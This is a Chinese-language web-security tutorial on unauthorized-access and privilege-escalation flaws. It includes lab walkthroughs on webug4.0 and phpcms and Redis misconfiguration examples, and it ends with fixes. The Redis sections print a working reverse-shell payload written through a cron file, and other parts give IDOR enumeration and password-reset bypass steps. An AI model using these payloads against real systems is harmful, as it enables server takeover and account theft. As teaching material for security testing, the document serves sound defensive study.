本文由红日安全成员: misakikata 编写,若有不当,还望斧正。php
你们好,咱们是红日安全-Web安全***小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供你们练习,咱们给这个项目起了一个名字叫 Web安全实战 ,但愿对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场所有涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),若是对你们有帮助请Star鼓励咱们创做更好文章。若是你愿意加入咱们,一块儿完善这个项目,欢迎经过邮件形式(sec-redclub@qq.com)联系咱们。html
未受权访问,顾名思义不进行请求受权的状况下对须要权限的功能进行访问执行。一般是因为认证页面存在缺陷,无认证,安全配置不当致使。常见于服务端口,接口无限制开放,网页功能经过连接无限制用户访问,低权限用户越权访问高权限功能。前端
何为越权漏洞,通俗的理解为用户能够操做超出本身管理权限范围的功能,从而进行非通常用户能够操做的行为。越权通常能够分为:垂直越权,水平越权。而在非用户登录模式下,任意用户访问特定地址或连接都可以访问到须要用户身份后才能够访问到的功能。越权也能够看为安全配置不当致使的未受权访问。git
未受权访问是系统对用户限制不全,或者无限制,可让任意用户或者限制访问用户,能够访问到内部敏感信息,致使的信息泄露,以及系统功能的执行。越权漏洞的产生缘由是未对访问功能作权限的效对,或者限制不全,致使对用户的限制只局限于某一个功能和操做上。github
未受权访问一般是会泄露用户信息,系统信息。某些服务和系统中,未受权访问还能够执行系统命令,操做系统文件,致使系统的总体安全遭到破坏。而越权能够分为水平越权和垂直越权。垂直越权漏洞会致使低权限用户用来执行高权限用户的功能,获取高权限用户的帐号信息,执行高权限用户的操做功能。水平越权会致使同一层级间的用户能够互相访问到对方的敏感信息,如保存的地址、手机号、订单记录。同时还可能会以其余平级权限用户的身份来执行某行功能,如购买,删除,添加,修改等。web
此问题在互联网上曾经多数存在,redis默认开放6379端口,且对外开放。能够经过此端口来执行命令写入文件来反弹shell。redis
root@kali:~# redis-cli -h 192.168.63.130 192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n" OK 192.168.63.130:6379> config set dir /var/spool/cron/ OK 192.168.63.130:6379> config set dbfilename root OK 192.168.63.130:6379> save OK
默认状况下Jenkins面板中用户能够选择执行脚本界面来操做一些系统层命令,***者可经过未受权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。sql
http://www.secpulse.com:8080/manage http://www.secpulse.com:8080/script
选择脚本命令行能够执行一些系统命令。shell
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,并且能够远程访问数据库,登陆的用户能够经过默认端口无需密码对数据库进行增、删、改、查等任意高危操做。数据库
默认开启在27017端口,新版早就默认绑定在本地,以前的老版本仍有一些在互联网上开放在跑的端口。
Memcached是一套经常使用的key-value缓存系统,因为它自己没有权限控制模块,因此对公网开放的Memcache服务很容易被***者扫描发现,***者经过命令交互可直接读取Memcached中的敏感信息。
默认开启在11211端口,可使用端口链接工具或者命令,nc等,链接成功则存在。
关于未受权访问的能够查看:https://www.secpulse.com/archives/61101.html
举个例子:
https://www.xxx.com/user1/userinfo.php?user_id=user1 https://www.xxx.com/user1/userinfo.php?user_id=10001
咱们登录某个系统后,看到某些功能上获取信息的方式相似于上连接时,能够初步判断获取信息的方式为根据user_id来获对应的用户信息,若是参数为用户名,咱们能够手机用户名字典来枚举信息,根据返回值判断是否存在问题。固然若是枚举较大,系统用户数量又不是不少的状况下,能够尝试注册新用户,利用新用户的用户名来测试是否能够获取到用户信息。
若是参数为一个固定的数字串时,遍历数字串便可,这种状况下是系统对每一个注册用户进行了一个用户id的排序,在众多的开源CMS上都有使用,固然这个字符串也有多是随机,若是是随机的,量不大的状况下能够采用遍历的形式获取,量较大能够利用burp的随机数爆破,或者一样本身注册帐户来测试。
举个例子:
https://www.xxx.com/user1/userticket.php?user_order=100001 https://www.xxx.com/user1/userticket.php?user_order=49ba59ab
此问题大量存在于用户订单、购买、查询等功能的商家CMS上,例如以上地址,若是user_order是订单编号,那么咱们能够尝试遍历订单地址来查询是否存在越权。若是编号并非单纯的订单数字串,而是相似如上的编码字符串,相信本身的运气的话能够尝试某些编码的状况,例如BASE6四、MD5。猜想不到,或者不能明显的看出来是若是作的处理,注册新帐号从新下单,会是简单方便的选择。
举个例子:
https://www.xxx.com/user1/userfile.php?fileid=10001 https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
这种上传文件后,能够越权查看其余用户的上传文件也是常常发现相似的问题。假设,系统要求咱们上传我的的身份证,实名认证信息、购买的发票订单等。若是上传后看到相似如上地址,能够猜想此上传文件能够遍历获取,同过查询fileid来查看其余用户的上传信息。若是上传后文件名如第二种,可能此文件是系统通过重命名的,重命名的方式通常采用当前上传的时间戳或者当前上传的日期加随机字段,这种状况下枚举较为困难,但仍然能够采用注册新用户的方式来查看是否存在越权。顺便一问,若是是www.ccc.com获取信息的方式,还可能会有什么问题呢?
举个例子:
https://www.xxx.com/user1/user.php?user=user1@user.com
在一些系统上登录用户后,能够看到相似如上的地址连接,可能你会以为这个跟问题1相似,可是也有可能多一张问题状况,在非登录的状况下仍然能够访问到详细信息。若是能够,则证实后端对身份的效验只是基于参数user,并无效验用户的session是否已登录。此问题曾发现于一个系统后端支付订单复核的功能中,问题可想而知。
举个例子:
https://www.xxx.com/user/getuserinfo.php
如上地址,正常状况下,只访问此后台地址时,通常会跳转到登录地址,或者登录后用来查看某个具体的功能,获取数据的状况根据访问的连接地址来,理论上此功能并不存在越权可能,由于没有咱们能够修改的参数。可是对权限及功能的限制可能只局限于用户菜单的限制,根据经常使用连接,能够猜想是否存在如下地址:
/getuserorder.php /adduser.php /deluser.php /getalluser.php /todetailpage.php /ordercreate.php ......
由于在绝大部分系统中,开发为了方便区别功能和页面,一般会利用对应的英文来命名文件,但这些文件并非任意用户均可以访问到的,因此能够猜想访问地址是否英文的拼接来猜想路径。对于此问题的快捷测试是获取一个高权限帐号,固然对于未受权测试来讲,很难实现。
举个例子:
https://www.xxx.com/user/userinfo.php post: {'userid':'10001','username':'name','userage':'18','usermobile':'18080808888'}
例如如上接口,修改用户信息,当咱们点击某个系统的修改自身资料时,会发送一个相似的json数据包,其中userid对应咱们本身的用户id,修改后,能够修改对应id的用户资料。修改方式相似问题1。区别在于一个页面可见,一个页面不直观可见,一个查询,一个修改。须要配合其余越权查询漏洞,或者帐号来识别是否修改为功。
漏洞环境:phpstudy,webug4.0
靶场介绍:国产靶场,漏洞齐全,演示也至关完善。其中还分为初,中,高。虽然高好像没东西,但仍然是一个不错的靶场环境。
漏洞演示:演示为靶场的22号漏洞,越权修改密码
靶场安装:https://github.com/wangai3176/webug4.0,原本也给了一个vm的安装环境,可是那个百度云打不开了。就直接用文件本身安装,也没找到安装教程,就摸索着以下安装了。
把sql目录中的文件安装到数据库,新建三个按照文件名的数据库,导入数据文件,修改data目录下的dbconfig和dbconn文件,修改成本身的数据库帐号密码和数据库名。修改完成后建议把网站目录修改成webug的目录下。直接访问本地地址便可。
另外须要修改/control/auth_cross/cross_auth_passwd.php文件下的一段代码,否则跳转到错误路径:
header("Location:/pt_env/control/auth_cross/cross_auth_passwd2.php?id={$id}") 修改成: header("Location:/control/auth_cross/cross_auth_passwd2.php?id={$id}")
点击第一个越权修改密码后进入以下页面:
此处我打开了数据库来对应查看修改密码的状况,打开webug数据库下的user_test表,能够看到其中有两个用户以下:
此处利用aaaaa用户修改admin用户密码,利用aaaaa帐户登录后,看到以下界面
此处,咱们能够先正常走一遍逻辑来查看其中的数据包状况,把aaaaa的密码修改成aaaaa,弹窗OK。而后查看抓取到的数据包。
其中有旧密码和新密码两个参数,理论上若是效验了旧密码和帐号的一致性,就算连接中的id能够修改越权也没法修改密码,会提示旧密码不正确,但此处并无效验旧密码和帐号的一致性,致使修改连接中的2为1,post参数不变,或者任意旧密码值,即可以修改admin的密码。
查看数据库修改是否成功:
此处的问题存在两点,一是修改的用户身份由连接中的ID来决定,二是没有对旧密码和帐户进行身份验证。
对于越权类的安全问题,并无自动化测试工具来发现和识别,至少如今没有发现哪里有完善的越权检测工具和扫描器。
此处介绍一款burp的越权插件,辅助检测越权漏洞,可是只能检测基于功能的越权,并不能自动的检测须要修改参数来判断越权形式的漏洞。
在burp的Extender选项中选择BApp Store选项卡,找到Authz插件,点击install。安装完成后选项卡中会出现一个Authz的新选项卡,界面以下:
此处须要两个用户身份,假设为A用户和B用户,登录A用户的帐号,获取Cookie到new header中,使用B帐号抓包获取信息。到proxy中选择须要测试的功能地址,右键到Send requests to Authz。
获取够须要测试的功能后,到Authz界面点击run便可运行,此处没有设置cookie,那么将按照未受权访问来测试。
其中,会在请求中替换咱们输入的cookie值,如图显示,源请求的字节长度,请求的字节长度,源请求的响应码,请求的响应码,经过对响应的差异来查看是否存在越权漏洞。
能达到此检测目的的还有一款插件AuthMatrix,也一样能够检测越权,功能强劲,使用较Authz复杂,对于高要求,多用户,须要对请求中的token等进行选择替换的,可使用此插件。
介绍地址:https://github.com/portswigger/auth-matrix
漏洞环境:phpstudy,phpcms9.5.9
漏洞介绍:phpcms设计缺陷致使前台用户能够任意修改其余用户密码
漏洞下载:http://download.phpcms.cn/v9/9.5/phpcms_v9.5.9_UTF8.zip
解压安装到phpstudy,访问后须要安装,按照安装要求,填入帐号密码。等待安装完成,将自动跳转到后台管理页面。登录后台须要先添加邮箱认证,以下添加的腾讯邮箱。具体腾讯受权码获取方式能够查看:https://service.mail.qq.com/cgi-bin/help?subtype=1&id=28&no=1001256
在用户模块中添加以下信息,新增两个测试用户,相似以下,须要其中一个能够接收邮件。
在站点首页点击登录处,若是跳转到404安装页面,多是你没有删除install安装目录,删除访问index.php便可。选择忘记密码->用户名找回密码
点击获取邮箱效验码
返回上一步输入想修改的用户,以下test2
输入以前的邮箱验证码提交
点击后显示密码修改为功为如下:
尝试使用新密码登录成功:
漏洞修复:此问题出现缘由在于验证码没有跟帐号作绑定,验证时只作了验证码是否有效的判断。对于此类问题,频繁出如今手机号验证码,邮箱验证码处,在最后执行修改时须要一同验证,验证码和手机或者邮箱的对应关系。
漏洞环境:Ubuntu,reids 3.2.0
漏洞介绍:Redis因配置不当能够未受权访问。***者无需认证访问到内部数据,可致使敏感信息泄露,也能够写入文件来反弹shell
安装以下:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 make
修改配置文件
vi redis.conf bind 127.0.0.1 加上# protected-mode yes 改成no
在配置文件目录下启动
./src/redis-server redis.conf
启动后显示以下:
经过reids命令能够查看基本信息
尝试反弹shell到指定地址
set x "\n* * * * * bash -i >& /dev/tcp/192.168.30.79/2333 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
或者采用gopher协议,直接利用curl一条命令执行
一、验证须要从前端获取的参数,好比用户ID和角色权限名,对于须要根据前台请求来返回数据的参数进行权限效验。
二、对于固定返回信息可使用特定连接地址返回,同时采用不可预测地址,如:getuserinfo_snhx.php
三、对于须要修改、新增等功能进行判断,根据当前seesion判断用户,参数中只传输修改的用户信息。
四、区分用户和管理员时,不采用某些相同的参数来区别。如dede区分管理和用户都是采用ID值,容易产生问题。
五、对于查询类越权须要对每一次请求的参数作当前用户身份效验,避免水平越权。